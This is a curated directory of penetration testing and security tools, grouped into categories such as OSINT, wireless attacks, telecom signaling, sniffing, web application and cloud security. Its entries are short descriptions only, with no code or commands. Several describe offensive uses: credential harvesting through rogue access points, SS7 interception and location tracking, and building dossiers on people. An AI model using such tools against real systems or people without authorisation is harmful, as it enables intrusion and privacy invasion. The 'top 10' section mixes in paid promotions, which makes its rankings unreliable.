Hacking Tools

A curated list of penetration testing and ethical hacking tools, organized by category. This collection includes Kali Linux tools and other notable utilities.

Supporters

🔍 Information Gathering
🕸️ Dark Web & OSINT
🎯 Threat Intelligence
📡 Wireless Attacks
📶 Telecom & 5G Security
🛰️ Satellite & RF Security
🌐 Network Security
🕵️‍♀️ Sniffing & Spoofing
🔎 Vulnerability Analysis
🌐 Web Application Analysis
📱 Mobile Security
☁️ Cloud Security
🐳 Container & Kubernetes Security
📦 Supply Chain Security
🔐 Password Attacks
🎭 Social Engineering Tools
💥 Exploitation Tools
🧬 Binary Exploitation
🧑‍💻 Reverse Engineering
🔬 Reverse Engineering Hardware
🛠️ Hardware Hacking
📡 IoT & Embedded Security
🚗 Automotive Security
🏭 ICS/SCADA Security
🎮 Game Hacking
🧪 Malware Development
🦠 Malware Analysis
🤖 AI & Machine Learning Security
⚔️ Red Team / Offensive
🟣 Purple Team
🛡️ Blue Team / Defense
🎯 Threat Hunting
🚨 Intrusion Detection & Prevention
📊 SIEM & Log Analysis
🧱 Firewall & Perimeter Security
🖥️ Endpoint Security
🗂️ Incident Response
🧑‍💻 Forensics Tools
🔑 Cryptography & Encryption
🔒 Privacy & Anonymity
⏳ Stress Testing
📋 Compliance & Auditing
🧮 Risk Management
🧑‍🏫 Security Awareness & Training
🕹️ CTF & Wargames
📚 Security Research & Blogs
🧰 Penetration Testing Distributions
🛠️ Scripting & Automation
📝 Reporting Tools
🧩 Miscellaneous

Top 10 Tools of 2026

🛡️ Burp Suite - Web application and API security testing platform.
🛜 Nmap - Network scanning, discovery, and security auditing tool.
💳 VCCGenerator - A developer-focused toolkit for generating and validating test card data, and checking card number formats.
🌐 IP-Lookup.org - IP lookup tool for finding geolocation, ISP, ASN, hostname, and other IP details.
⚙️ Quttera Website Security API - API for malware detection, reputation checks, and website security analysis.
📡 Wireshark - Network protocol analyzer for capturing and analyzing traffic.
📧 Tuta Mail - Privacy-focused, end-to-end encrypted email service for secure communication.
🔎 Nessus - Vulnerability assessment and security scanning platform.
🌐 Impreza Host - Privacy-focused hosting provider offering anonymous VPS and dedicated servers for security-conscious users and cybersecurity infrastructure.
🩸 BloodHound - Active Directory attack path and privilege relationship analysis tool.
⚙️ Ghidra - Reverse engineering and binary analysis framework.

Cybersecurity Professional Development Resources

For learners, IT professionals, and security practitioners who want to strengthen their cybersecurity knowledge beyond tools and scripts, the following university-backed programs may be useful.

Cyber Security Course

The Cyber Security Course by The McCombs School of Business at The University of Texas at Austin is designed for professionals looking to build practical knowledge in cybersecurity strategy, risk management, and security leadership.

Cybersecurity Certificate Program

The Cybersecurity Certificate Program by Johns Hopkins University is suitable for those who want to deepen their understanding of cybersecurity concepts, frameworks, and real-world security challenges.

These resources are shared for users who want to expand their cybersecurity knowledge alongside ethical hacking and security tools.

Cybersecurity Bootcamp

The Cybersecurity Bootcamp by Evolve Security Academy helps students successfully transition into cybersecurity careers through immersive, hands-on training and dedicated career support.

With its Job Offer Commitment, the academy ensures graduates are not only job-ready but also equipped to launch lasting careers in cybersecurity.

Information Gathering

🌐 IP Geolocation - IP geolocation and threat intelligence API for identifying accurate IP locations, Company, ASN, VPN/proxy/Tor usage, and potential IP security signals. Ideal for OSINT, network reconnaissance, and cybersecurity investigations.
🔎 WhoisFreaks - Comprehensive domain WHOIS, historical WHOIS, and DNS intelligence API for tracking domain ownership records, registration timelines, nameservers, and registrar details. Ideal for brand protection, threat intelligence, domain research, and cybercrime investigations.
🌍 APIFreaks - A robust, high-performance API hub delivering 100+ real-time APIs across 20+ categories-including IP intelligence, domain lookups, email validation, timezone data, live weather, commodity pricing, PDF generation, web screenshots, and exchange rates. Built for enterprise scalability and developer speed, ApiFreaks powers modern financial platforms, multi-currency e-commerce applications, cybersecurity solutions, and automated business workflows.
🌐 IP-Lookup.org - IP lookup and intelligence tool for checking IP geolocation, ISP, organization, ASN, hostname, IP reputation, VPN/proxy detection, Whois information, and network details.
🔎 Osintly - All-in-one OSINT platform combining hundreds of search modules, investigation tools, public data sources, intelligence APIs, and collaborative workspaces in a single place.
🌐 OnionLand Search Onionland Search is a deep-web search engine that indexes Tor onion services.
🕵️ OSINT Search - OSINTsearch is a live OSINT search engine. Find matching profiles, former usernames and traces of deleted accounts where sources return them.
🔎 DAEMON Intelligence - OSINT and private intelligence services for investigations, background checks, digital footprint analysis, and risk assessment.
🌐 IPLocation.net - IP geolocation lookup service for finding the location, ISP, and other details associated with IP addresses.
🛡️ WhiteIntel - WhiteIntel is a dark web monitoring service that helps organizations monitor exposed data, credentials, and other potential threats across the dark web.
🌍 ViewDNS.info - Comprehensive suite of Domain and IP Intelligence tools for domain research.
🌐 IP2Location.io - IP geolocation and IP intelligence API for retrieving location, network, and other information associated with IP addresses.
🛜 Nmap - Network scanning and mapping tool.
🌐 ipapi.is - IP intelligence and geolocation service for identifying IP addresses, locations, ISPs, hosting providers, and VPN or proxy connections.
🔎 ProxyDetect.live - Proxy detection service for checking IP addresses and identifying potential proxies, VPNs, and other anonymization services.
🕵️ OSINTNova - OSINTNova finds public information linked to usernames, emails, phone numbers, and more. It combines automated searches and AI-assisted reporting in one platform.
🌐 Check-Host - Network monitoring and diagnostic tool for checking host availability, connectivity, ping, HTTP, TCP, and DNS from multiple locations.
📊 Dato Capital - Business intelligence platform providing company information, corporate data, and business insights.
📶 Kismet - Wireless network detector, sniffer, and intrusion detection.
🌐 urlcap - HTTP capture and analysis API for inspecting requests and responses, extracting structured web data, and detecting bots and crawlers.
🕵️ Maltego - OSINT and data mining tool for information analysis.
📨 theHarvester - Tool to gather emails, subdomains, hosts, and more.
🔗 Recon-ng - Full-featured web reconnaissance framework.
🕵️‍♂️ SpiderFoot - Automate OSINT collection from multiple sources.
🔍 Amass - Network mapping and external asset discovery tool.
🗂️ Sublist3r - Subdomain enumeration using search engines.
🧑‍💻 Assetfinder - Subdomain discovery using various sources.
🌍 crt.sh - SSL certificate transparency log search engine.
🧪 Dnsrecon - Perform DNS enumeration and zone transfers.
📜 Fierce - DNS reconnaissance and attack tool.
📄 WHOIS - Domain registration and ownership lookup.
🔎 CC.LA - Free WHOIS/RDAP lookup, DNS records, name server history, IP WHOIS, SSL certificate search, and network diagnostics.
📬 EmailHarvester - Email enumeration and gathering.
🕸️ Shodan - Search engine for internet-connected devices.
🔍 Netlas - Internet intelligence platform for discovering internet-connected assets, analyzing domains and IP addresses, and identifying exposed services.
🔥 Censys - Search engine for hosts and networks on the internet.
🌐 OSINT Framework - Collection of OSINT tools and resources.
🧑‍💻 FOCA - Metadata extraction and document analysis.
🛡️ Netcraft - Website profiling and phishing detection.
🌍 BuiltWith - Website technology lookup and analysis.
🏛️ StackScan - Website technology lookup and asset footprint search.

Dark Web & OSINT

🧅 Ahmia - Tor-recommended dark web search engine that filters illegal content and is accessible via both clearnet and Tor.
🔦 Torch - One of the oldest Tor search engines, indexing millions of .onion pages with no content filtering.
🕸️ Excavator - Unfiltered search engine indexing Tor and I2P with a free public API.
🔍 Not Evil - Well-known unfiltered .onion search engine, often listed alongside Ahmia and Torch.
📡 SpiderFoot - Open-source OSINT automation tool integrating 100+ data sources for intelligence gathering and threat intelligence.
🕵️ Blackbird - OSINT tool for searching emails, usernames, and keywords across the dark web and clearnet.
🧑‍💻 Maltego - Graphical link analysis and OSINT platform for mapping relationships between people, domains, and infrastructure.
🗂️ darkweb-directory - Curated .onion resource list categorized by news, forums, whistleblowing platforms, and search engines.
📚 onion-links - Curated list of Tor services for researchers and privacy users, with NSFW tagging and safety review.
📖 Dark-Net-Collection - Dark web resource collection including Dread forum, Hidden Wiki, and official Tor Project .onion links.
🔎 VoidAccess - Self-hosted dark web OSINT platform that turns research queries into structured threat intelligence with STIX/MISP/Sigma/YARA export.
🔗 reconCTI - Python CLI tool for searching sensitive data leaks on clearnet and dark web, mapping to MITRE ATT&CK and generating threat reports.
⚙️ ULTRON - Privacy-centric dark web reconnaissance framework with multi-engine search, directory fuzzing, metadata scraping, and CSV/JSON/PDF export.
🛡️ Darkweb-search-engine (NexvisionLab) - Open-source dark web search engine and crawler with 14 content categories, entity extraction, safety ratings, and ransomware tracking.
🕸️ osint-toolbox-mcp - OSINT toolbox MCP server integrating Sherlock, Maigret, GHunt, theHarvester, and SpiderFoot.
📧 osint-mcp - OSINT aggregation MCP service supporting email, username, phone, Shodan, VirusTotal, and leak detection.
🧰 awesome-osint-repos - Continuously updated directory of OSINT tools, skills, plugins, and agent integrations.
🔍 osint-darkweb-pkg - Modular dark web OSINT tool aggregating 15+ dark web search engines with concurrent .onion content scraping.
🧑‍💻 SecretFinding - Dark web search tool (visit repository for full details).
🌐 Sherlock - Hunt down social media accounts by username across 400+ social networks.
🧭 Maigret - Collect a dossier on a person by username across thousands of sites, with rich report generation.
📧 theHarvester - Gather emails, subdomains, hosts, and employee names from public sources.
🌍 Recon-ng - Full-featured web reconnaissance framework with a modular, Metasploit-like interface.
🔭 Shodan - Search engine for Internet-connected devices, exposing services, banners, and geolocation.

Threat Intelligence

🧠 MISP - Open-source threat intelligence sharing platform used by 6,000+ organizations worldwide, supporting STIX, TAXII, OpenIOC, and automated SIEM/IDS exports.
🕸️ OpenCTI - Knowledge-graph-based CTI platform that connects indicators, actors, campaigns, and techniques in a searchable intelligence graph, with built-in STIX 2.1 and TAXII 2 support.
🎯 IntelOwl - Open-source enrichment and analysis platform that automates queries across a broad range of threat intelligence sources for IOC investigation.
🐉 Yeti - CTI-DFIR investigation platform that builds richer intelligence from indicators, entities, and context, deployed via Docker with MongoDB and Redis.
📡 ThreatBus - Dissemination layer that distributes threat intelligence efficiently between security systems, not a full TIP but useful as an integration layer alongside MISP or OpenCTI.
🔄 IntelMQ - Pipeline-based threat intelligence processing framework by CERT.at with collector, parser, expert, and output bots, using a harmonized data model covering 100+ fields.
📊 ThreatDeck - Tracks threat intelligence feeds and surfaces meaningful changes quickly, focused on alerting on feed updates.
🔍 AlienVault OTX - Free community-driven threat intelligence platform with 100,000+ participants, offering curated IOC feeds and OpenIOC compatibility.
🚨 ThreatFox - Free community IOC platform by abuse.ch for searching domains, IPs, and file hashes against a constantly updated database of known malware infrastructure.
🛡️ IBM X-Force Exchange - Free community threat intelligence research platform (the paid IBM SaaS upgrade was withdrawn and divested to Palo Alto Networks in 2024), offering malware reverse engineering and dark web research insights.
☁️ Google Threat Intelligence - Combines Google’s internet-scale telemetry with Mandiant frontline research and VirusTotal community data, with agentic AI for automated detection rule creation and malware reverse engineering.
🦅 CrowdStrike Falcon Adversary Intelligence - Blends machine-scale telemetry with human expertise from reverse engineers and threat collectors, offering high-fidelity reporting and production-grade connectors for SIEM/SOAR/XDR.
🎯 Recorded Future - Broad correlated view across technical, dark web, and open source data, widely used in enterprise CTI programs for threat actor tracking and campaign analysis.
🕶️ KELA - Specialized deep underground visibility platform monitoring criminal forums, ransomware leak sites, and botnet logs, with automated adversarial testing for GenAI tools via AiFort.
🔥 Flare - Cloud-based, agentless Threat Exposure Management platform with identity-centric intelligence from dark web forums, Telegram channels, and breach repositories.
📰 Feedly Threat Intelligence - AI-OSINT aggregation layer with Leo AI that reads 10,000+ curated sources, extracts IOCs structurally, tags ATT&CK techniques, and exports to Navigator, with an MCP Server for AI-assisted CTI automation.
🔬 VirusTotal - Community-driven malware and IOC reputation service that serves as a data source for many TIPs and enrichment platforms.
🌐 Shodan - Internet-connected device search engine used for attack surface visibility and as a data source for threat intelligence enrichment.
📧 theHarvester - OSINT gathering tool for emails, subdomains, hosts, and employee names, commonly used in the intelligence collection phase.
🧭 Maltego - Graphical link analysis tool for mapping relationships between threat actors, organizations, domains, and infrastructure using automated transforms.
🕵️ SpiderFoot - Open-source OSINT automation with 200+ modules for gathering information on organizations, domains, IPs, and usernames, with breach detection and correlation.
🔗 Intelligence X - Search engine for leaked credentials and exposed data across deep web, dark web, Pastebin, and GitHub, continuously crawling sources traditional search engines miss.
📚 awesome-threat-intelligence - Curated list of threat intelligence resources, feeds, frameworks, and tools maintained by the community.
🗂️ threat-intel (GitHub) - Real-time threat intelligence aggregation and visualization platform with IOC tracking, threat actor profiling, Elasticsearch/Kibana dashboards, and automated alert generation from MISP, OTX, VirusTotal, and Shodan.

Wireless Attacks

📡 Aircrack-ng - Complete suite for auditing Wi-Fi security, covering monitoring, attacking, testing, and cracking WEP and WPA/WPA2-PSK keys.
🌐 Kismet - Wireless network detector, sniffer, and intrusion detection system that passively collects packets and detects hidden networks.
🐍 Wifite2 - Automated wireless auditor that simplifies the process of attacking WEP, WPA, and WPS networks with minimal user interaction.
🔨 Reaver - Implements a brute-force attack against Wi-Fi Protected Setup (WPS) registrar PINs to recover WPA/WPA2 passphrases.
🧚 Pixiewps - Offline WPS PIN brute-force utility exploiting low entropy in vulnerable implementations via the Pixie Dust attack.
🖥️ Fern WiFi Cracker - Python/Qt-based GUI for wireless security auditing and attack, capable of cracking WEP/WPA/WPS keys.
🛡️ Bettercap - All-in-one framework for Wi-Fi, BLE, HID, and Ethernet reconnaissance and MITM attacks, including PMKID association and handshake capture.
💥 hcxdumptool - Small tool for capturing packets from WLAN devices, specifically designed for PMKID and handshake collection for Hashcat.
🔓 hcxtools - Converts packet captures into hash files for cracking with Hashcat or John the Ripper, essential for modern WPA/WPA2 auditing.
🎭 EAPHammer - Targeted evil twin attacks against WPA2-Enterprise networks, supporting hostile portal and credential capture.
🌊 Fluxion - Social-engineering focused Wi-Fi attack tool that creates rogue access points and captive portals to harvest credentials.
🎇 Airgeddon - Multi-use bash script for Linux systems to audit wireless networks, with a comprehensive menu-driven interface.
💀 MDK4 - Wi-Fi testing tool designed to exploit common protocol weaknesses, including deauthentication and beacon flooding.
📶 Wifiphisher - Rogue access point framework for automated Wi-Fi phishing attacks, capturing credentials via fake captive portals.
🦈 Wireshark - Network protocol analyzer that can be used to inspect 802.11 frames and understand wireless traffic during assessments.
📻 HackRF One - Open-source Software Defined Radio (SDR) platform for wireless experimentation, including capturing and transmitting signals across a wide frequency range.
🔵 BlueZ - Official Linux Bluetooth protocol stack, providing the core tools for Bluetooth device discovery and testing.

Telecom & 5G Security

📡 FuzzyDoo - Open-source framework for finding flaws in the 5G landscape, enabling dynamic test message generation for encrypted communications and supporting extensible protocol integration for 5G core networks.
🛡️ SigPloit - Telecom signaling exploitation framework covering SS7, GTP, Diameter, and SIP protocols for testing mobile operator interconnects.
🔨 Rodan - Telecom signaling exploitation framework by Etisalat Egypt Research Labs with SS7 and Diameter support, featuring location tracking, call/SMS interception, and fraud testing capabilities.
📶 SWITCHSNIPER - Comprehensive signaling security testing framework for telecom switches and core network systems, covering SS7, GTP, Diameter, and SIP protocols across 2G through 5G networks.
🧪 5G Houl - Fuzzing tool that discovers vulnerabilities in 5G NR implementations, capable of misleading UEs into connecting to malicious base stations and causing connection drops or device freezes.
🎯 RANsacked - Domain-informed fuzzing framework for LTE and 5G RAN-Core interfaces, discovering 119 vulnerabilities and 97 CVEs across ten implementations.
🔬 CovFUZZ - Coverage-based fuzzer for 4G and 5G protocols, providing automated testing for Attach procedure implementations with uplink and downlink fuzzing capabilities.
🌐 MNSF - Mobile Network Security Framework providing open-source security testing for 2G through 5G networks using SDR and telecom stacks, with modules for SIM swap, interception, and authentication bypass testing.
🔍 SigFW - Open-source signaling firewall for SS7 and Diameter filtering with anti-spoofing and anti-sniffing capabilities.
📡 Open5GS - Open-source project for emulating 4G and 5G core network functions, widely used as a test environment for security research and fuzzing.
🧑‍💻 UERANSIM - Open-source 5G UE and RAN simulator, commonly used for fuzzing NAS and RRC protocols in telecom security research.
🔧 srsRAN - Open-source 4G and 5G software radio suite used for building man-in-the-middle fuzz models and testing cellular protocol implementations.
📻 asnfuzzgen - ASN.1-based fuzzing tool for Radio Resource Control protocol in 4G and 5G networks, generating syntactically correct payloads according to ASN.1 specifications.
🛜 5Greplay - NGAP fuzzing tool used for testing 5G core network AMF implementations, applied to Open5GS, free5GC, OAI, and ella-core.
⚙️ Scapy PFCP Module - Python-based packet manipulation library with PFCP module used for fuzzing 5G N4 interface communications between SMF and UPF.
🖥️ TLS-Scanner - Open-source tool for analyzing TLS configurations in 5G core networks, checking for vulnerabilities like Padding Oracle, Bleichenbacher, POODLE, and DROWN.
🔐 SSLyze - Fast SSL/TLS configuration analyzer for scanning 5G core network TLS implementations, detecting CCS Injection, Heartbleed, and ROBOT vulnerabilities.
🌍 HackRF One - Software Defined Radio platform used with machine learning models for detecting GSM sniffing attacks and analyzing cellular communications.
📡 USRP B210 - Software Defined Radio hardware used in over-the-air baseband exploitation research and 5G security testing setups.
🛰️ Awesome Cellular Hacking - Curated list of cellular security research, tools, papers, and resources covering 2G through 5G, baseband hacking, IMSI catchers, and satellite-cellular integration.

Satellite & RF Security

🛰️ Don't Look Up - Open-source Python research tool for decoding DVB-S2 satellite data transponders, enabling evaluation of satellite IP link security and revealing unencrypted traffic on geostationary communications satellites.
🔓 GSExtract - Python application for extracting IP traffic from DVB-S2 satellite streams, predecessor to Don't Look Up with narrower scope but foundational for satellite security research.
📡 Universal Radio Hacker (URH) - Complete suite for wireless protocol investigation with native SDR support, offering demodulation, automatic modulation parameter detection, protocol reverse-engineering, and fuzzing components for stateless and stateful attacks.
📻 GQRX - Software defined radio receiver built on GNU Radio and Qt, supporting HackRF, RTL-SDR, Airspy, BladeRF, USRP and other hardware for AM/FM/SSB reception and FFT spectrum analysis.
🔬 Inspectrum - Offline spectrum analysis tool with spectrogram visualization, zoom and pan capabilities for examining captured RF signals including Iridium, LTE, WiFi, and satellite captures.
🧰 GNU Radio - Free and open-source signal processing framework providing blocks for modulation, demodulation, filtering, and spectrum analysis, with graphical flowgraph composition via GNU Radio Companion.
📶 HackRF One - Open-source Software Defined Radio platform covering 1 MHz to 6 GHz, capable of receiving and transmitting for RF security testing, satellite signal scanning, and protocol analysis.
🔵 RTL-SDR - Budget-friendly SDR receiver based on the RTL2832U chipset, widely used for satellite signal reception including NOAA weather satellites, amateur radio satellites, and ISS SSTV transmissions.
🛰️ SatDump - Satellite image decoding software supporting a wide range of weather and Earth observation satellites for processing received RF signals into usable imagery.
🖼️ WXtoImg - NOAA weather satellite image decoding software that processes APT signals received via SDR to generate weather imagery with map overlays and ground station location configuration.
📊 Gpredict - Real-time satellite tracking and orbit prediction software for identifying satellite passes over ground station locations and accounting for Doppler shift during signal reception.
🎯 Orbitron - Satellite tracking software for predicting passes of NOAA, GOES, amateur radio, and other satellites, essential for planning reception windows and antenna pointing.
📡 SatNOGS DB - Open database of satellite frequencies, modulations, and operational status maintained by the SatNOGS community for planning satellite signal reception.
🧪 ESA Cybersecurity Laboratory - European Space Agency facility providing end-to-end security assessment for space systems, including RF physical layer security testing, CCSDS/ECSS protocol assessment, SDLS toolkit, and hardware hacking testbeds with side-channel attack capabilities.
🔐 SigFW - Open-source signaling firewall for SS7 and Diameter filtering with anti-spoofing and anti-sniffing capabilities, relevant for satellite ground segment signaling security.
📻 TBS5927 - USB DVB-S2 satellite receiver used with RAW data handling patches for capturing satellite transponder data for security research and IP traffic extraction.
🛜 HackRF and RTL-SDR Satellite Scanning Guide - Step-by-step guide covering hardware selection, software setup, satellite frequency tracking, signal reception, and decoding for weather, amateur radio, and communications satellites.
🎓 HTB SATCOM Security Essentials - Hands-on CTF pack covering orbital mechanics, RF signal analysis, CCSDS protocols, DVB-S2 demodulation, satellite firmware reverse engineering, and ground station compromise.

Network Security

🦈 Wireshark - The world's foremost network protocol analyzer, providing deep inspection of hundreds of protocols with live capture and offline analysis capabilities.
📊 Zeek - Powerful network analysis framework that produces high-fidelity transaction logs and supports deep protocol analysis for security monitoring.
🛡️ Suricata - High-performance Network IDS, IPS, and NSM engine using multi-threading for real-time threat detection and deep packet inspection.
🚨 Snort - Classic signature-based intrusion detection system widely used for real-time traffic analysis and packet logging.
🌐 Nmap - Industry-standard network discovery and security auditing tool for host discovery, port scanning, and OS fingerprinting.
⚡ Masscan - Ultra-fast TCP port scanner capable of scanning the entire Internet in under 6 minutes using asynchronous transmission.
📦 Scapy - Python-based interactive packet manipulation program and library for crafting, sending, and decoding network packets.
🔥 Fail2Ban - Lightweight intrusion prevention tool that scans log files and bans IPs showing malicious behavior via firewall rules.
👥 CrowdSec - Collaborative behavior detection engine with a community-driven blocklist for blocking aggressive IPs across the network.
🔍 IVRE - Self-hosted network recon framework for building your own Shodan/Censys alternative, using Nmap, Masscan, and Zeek.
🖧 NetAlertX - WIFI/LAN intruder detector that scans connected devices and alerts on unknown devices joining the network.
🍯 masscanned - Low-interaction honeypot focused on network scanners and bots, integrating with IVRE for self-hosted threat intelligence.
🧅 TorPylle - Python/Scapy implementation of the Tor protocol for network security research and protocol analysis.
📡 Netmoth - Lightweight traffic analysis and intrusion detection solution with eBPF support and automatic TCP stream reassembly.
🔎 Maltrail - Malicious traffic detection system using publicly available blocklists and custom blacklists.
🛰️ Security Onion - Free and open platform for threat hunting, enterprise security monitoring, and log management, bundling Suricata, Zeek, and Elasticsearch.
📈 ntopng - Network traffic monitoring and analysis tool providing real-time visibility into network flows.
🗜️ NetworkMiner - Network forensic analysis tool for extracting artifacts from PCAP files including files, credentials, and images.
🧰 Malcolm - Powerful, easily deployable network traffic analysis tool suite for full packet capture artifacts, Zeek logs, and Suricata alerts.
🛡️ Artillery - Blue team tool designed to protect Linux and Windows systems through multiple defensive methods.

Sniffing & Spoofing

🌐 Wireshark - Network protocol analyzer.
🕵️‍♂️ Ettercap - Man-in-the-middle attack tool.
⚡ BetterCAP - Flexible network attack & monitoring tool.
📡 Tcpdump - Command-line packet analyzer.
🌍 Nessus - Vulnerability scanner with sniffing capabilities.
🐍 Scapy - Python-based interactive packet manipulation program.
🌐 MITMf - Man-in-the-middle framework for network attacks.
🦊 Fakenet-NG - Fake network traffic generation tool.
🐾 Dsniff - Collection of network monitoring tools for penetration testers.
🎯 Responder - LLMNR, NBT-NS, and MDNS poisoner for internal network attacks.
💻 Ettercap-NG - Enhanced version of Ettercap with additional features.
🧑‍💻 Arp-Spoof - Tool to intercept network traffic by sending ARP packets.
🌐 WiFi-Pumpkin - WiFi spoofing tool.
🎣 Aircrack-ng - Suite for wireless network auditing and cracking WEP/WPA keys.
🧩 Xplico - Network forensics tool that extracts applications' data from pcap files.
📊 Pry-Fi - A tool to find and exploit vulnerabilities in wireless networks.
🕵️‍♀️ Kismet - Wireless network detector, sniffer, and intrusion detection system.
🐍 Burp Suite - Web vulnerability scanner and network attack tool with advanced interception features.
💻 Snoopy - Sniffing & spoofing tool focused on DNS & HTTP traffic.
📡 Snort - Open-source network intrusion detection & prevention system.

Vulnerability Analysis

🧑‍💻 SmartScanner - An AI-driven web vulnerability assessment tool designed to automate security scanning for websites, APIs, and web applications.
🧪 OpenVAS - Open-source vulnerability scanner.
🛡️ Nessus - Commercial vulnerability assessment tool.
🕵️‍♂️ Nikto - Web server scanner for detecting vulnerabilities.
🐺 Wapiti - Web application security scanner.
🧑‍💻 Vega - GUI-based web vulnerability scanner.
🕷️ Arachni - Feature-rich web application security scanner.
🐍 SQLmap - Automated SQL injection detection and exploitation tool.
🕸️ OWASP ZAP - Open-source web application security scanner.
🛜 Nmap Vulners - Nmap NSE script for CVE detection.
🔎 Retire.js - JavaScript library vulnerability scanner.
🚀 BugBoard - Bug hunter dashboard for vulnerability scanning, automation, and managing bug bounty workflows.
⚙️ Dependency-Check - Vulnerability analysis for project dependencies.
🧑‍💻 Bandit - Security linter for Python code.
🐞 Vuls - Agentless vulnerability scanner for Linux/FreeBSD servers.
📦 Trivy - Vulnerability scanner for containers and dependencies.
🧑‍💻 Grype - Vulnerability scanner for container images and filesystems.
🧑‍💻 Safety - Python dependency security scanner.
📄 Lychee - Broken link checker with vulnerability detection potential.
📜 GitLeaks - Detect hardcoded secrets and sensitive data.
🧑‍💻 ScoutSuite - Multi-cloud security auditing tool.
🧑‍💻 CloudSploit - AWS security auditing tool.

Web Application Analysis

🧑‍💻 Burp Suite - Web security testing toolkit.
🕵️ OWASP ZAP - Open-source web application scanner.
🐍 SQLmap - Automated SQL injection tool.
⚙️ Quttera Website Security API - REST API for website malware detection, blacklist and reputation checks, SSL and port analysis, website integrity monitoring, and security assessment with compliance mapping.
📜 Wappalyzer - Identify technologies on websites.
🧑‍💻 Dirb - Web content scanner.
📂 Gobuster - Directory and DNS brute-forcing.
🔍 Nikto - Web server vulnerability scanner.
🧑‍💻 Sublist3r - Subdomain enumeration.
🕵️ Amass - Network mapping and subdomain enumeration.
📝 Httpx - Fast HTTP probing.
🌐 FFUF - Fast web fuzzer.
🧑‍💻 WhatWeb - Identify web technologies.
🛠️ Nuclei - Vulnerability scanning and templating.
🧑‍💻 XSStrike - XSS detection and exploitation.
🐞 Commix - Automated command injection.
🔥 WPScan - WordPress security scanner.
🛡️ Cmsmap - CMS detection and exploitation.
🔍 Arachni - Advanced web vulnerability scanner.
🕵️ Waybackurls - Fetch URLs from Wayback Machine.
🧑‍💻 Unfurl - Extract URLs and data from URLs.
📂 Dirsearch - A fast and powerful scanner that uses brute-force to find hidden directories and files on web servers. It discovers inaccessible content with customizable wordlists.

Mobile Security

🕵️ MobSF - Automated all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis, and security assessment framework capable of static and dynamic analysis, open source under GPL-3.0.
🔧 Frida - Industry-standard dynamic instrumentation toolkit for injecting scripts into native apps, enabling runtime hooking, tracing, SSL pinning bypass, and root/jailbreak detection bypass on both Android and iOS.
🎯 Objection - Frida-powered runtime mobile exploration toolkit providing SSL pinning bypass, filesystem/keychain access, and method hooking without requiring jailbreak/root for basic operations.
🔍 Jadx - Dex-to-Java decompiler and the current de facto standard for reading Android bytecode as readable Java source, with GUI support for code navigation.
🛠️ Apktool - Decompiles and rebuilds APK resources and Smali code, essential for repackaging, resource-level edits, and security patching of Android applications.
🧪 Drozer - Leading security assessment framework for Android, specifically designed for exploiting inter-process communication (IPC) surfaces including exported activities, content providers, and broadcast receivers.
🎭 Grapefruit - Open-source runtime mobile instrumentation toolkit powered by Frida, offering a web-based interface for inspecting, hooking, and modifying iOS and Android apps with features like Keychain access, class inspection, and privacy monitoring.
🔬 Ghidra - NSA's reverse engineering suite, particularly strong for native (.so) library analysis in Android apps and iOS Mach-O binary inspection alongside Java-layer tools.
🧅 Androguard - Powerful reverse engineering and static analysis library for Android, integrating well with custom tooling and automation pipelines.
🔐 FlowDroid - Precise, context/flow/field/object-sensitive taint analysis framework for Android apps, used for detecting data leakage and injection vulnerabilities.
📦 APKLeaks - Scans APK files for URIs, endpoints, and hardcoded secrets, useful for quickly extracting API keys and internal URLs from compiled Android applications.
🖥️ Corellium - Virtualized iOS and Android device platform providing root-level access, instrumentation, and tools for mobile penetration testing, vulnerability research, and malware analysis without physical hardware.
🧰 mobile-security-mcp - MCP (Model Context Protocol) server that transforms AI agents into Android security researchers by providing automated access to apktool, jadx, Frida, Objection, and RASP bypass generation.
📊 Nazar - Open-source autonomous security and quality scanner supporting React Native, Flutter, and native mobile projects, with 197+ tests covering OWASP Mobile Top 10, secret detection, and store compliance.
🔎 Pithus - Open-source APK analyzer with YARA rule hunting capabilities for malware detection and threat intelligence on Android applications.
🛡️ Oversecured - Agentic offensive security platform for mobile apps with static analysis covering 175+ Android and 85+ iOS vulnerability types, providing proof of concept for each DAST finding.
🏗️ blutter - Flutter application reverse engineering tool that extracts Dart code and function signatures from snapshot files (libapp.so) in compiled Flutter apps.
⚛️ hermes-dec - Decompiler for Hermes bytecode (.hbc files) used in React Native apps, converting bytecode back to readable JavaScript.

Cloud Security

🛡️ Prowler - The world's most widely used open-source cloud security platform, automating security and compliance across AWS, Azure, GCP, Kubernetes, and SaaS providers with thousands of ready-to-use checks and AI-driven monitoring.
🔍 ScoutSuite - Open-source multi-cloud security auditing tool by NCC Group that uses cloud provider APIs to gather configuration data, analyze security settings, and identify misconfigurations across AWS, Azure, GCP, Alibaba Cloud, and Oracle Cloud Infrastructure.
⚙️ CloudSploit - Open-source Cloud Security Posture Management (CSPM) tool by Aqua Security that automatically detects security risks, misconfigurations, and compliance violations across multi-cloud environments with hundreds of checks aligned to CIS Benchmarks, PCI-DSS, and HIPAA.
🎯 Pacu - Open-source AWS exploitation framework designed for offensive security testing, allowing penetration testers to exploit configuration flaws within AWS accounts using modular attack modules including privilege escalation, IAM backdooring, and Lambda attacks.
🧪 CloudGoat - Rhino Security Labs' "Vulnerable by Design" cloud deployment tool providing CTF-style scenarios in AWS and Azure for exploring environments, identifying vulnerabilities, and practicing exploitation in a safe training context.
🧮 Steampipe - Zero-ETL tool for querying cloud APIs and services using SQL, with 2000+ tables across AWS, Azure, GCP, Kubernetes, GitHub, and 100+ other plugins for real-time cloud data access and compliance scanning.
📦 Checkov - Static code analysis tool for scanning Infrastructure as Code (IaC) files for misconfigurations, with 750+ predefined policies covering Terraform, CloudFormation, Kubernetes, Docker, and Helm charts, plus CIS and AWS Foundations Benchmark compliance.
🔐 Cloudsplaining - AWS IAM security assessment tool that identifies violations of least privilege in IAM policies and generates HTML reports, detecting risks including data exfiltration, infrastructure modification, resource exposure, and privilege escalation.
🏢 Wiz - Agentless cloud security platform that continuously analyzes configurations, vulnerabilities, networks, IAM settings, and secrets across AWS, Azure, and GCP to discover critical issues representing actual risk, with integration into AWS Security Hub.
🔵 Microsoft Defender for Cloud - Cloud-native application protection platform (CNAPP) that combines CSPM, DevOps security, and cloud workload protection to identify vulnerabilities, misconfigurations, and threats across hybrid and multicloud environments.
🟠 Tenable Cloud Security - Identity-intelligent cloud security platform exposing and closing security gaps caused by misconfigurations, risky entitlements, and vulnerabilities, pinpointing toxic combinations of risk with guided remediations and code snippets.
🐙 Orca Security - Agentless cloud security and compliance platform providing asset inventory, vulnerability management, threat detection, and risk assessment across public cloud environments.
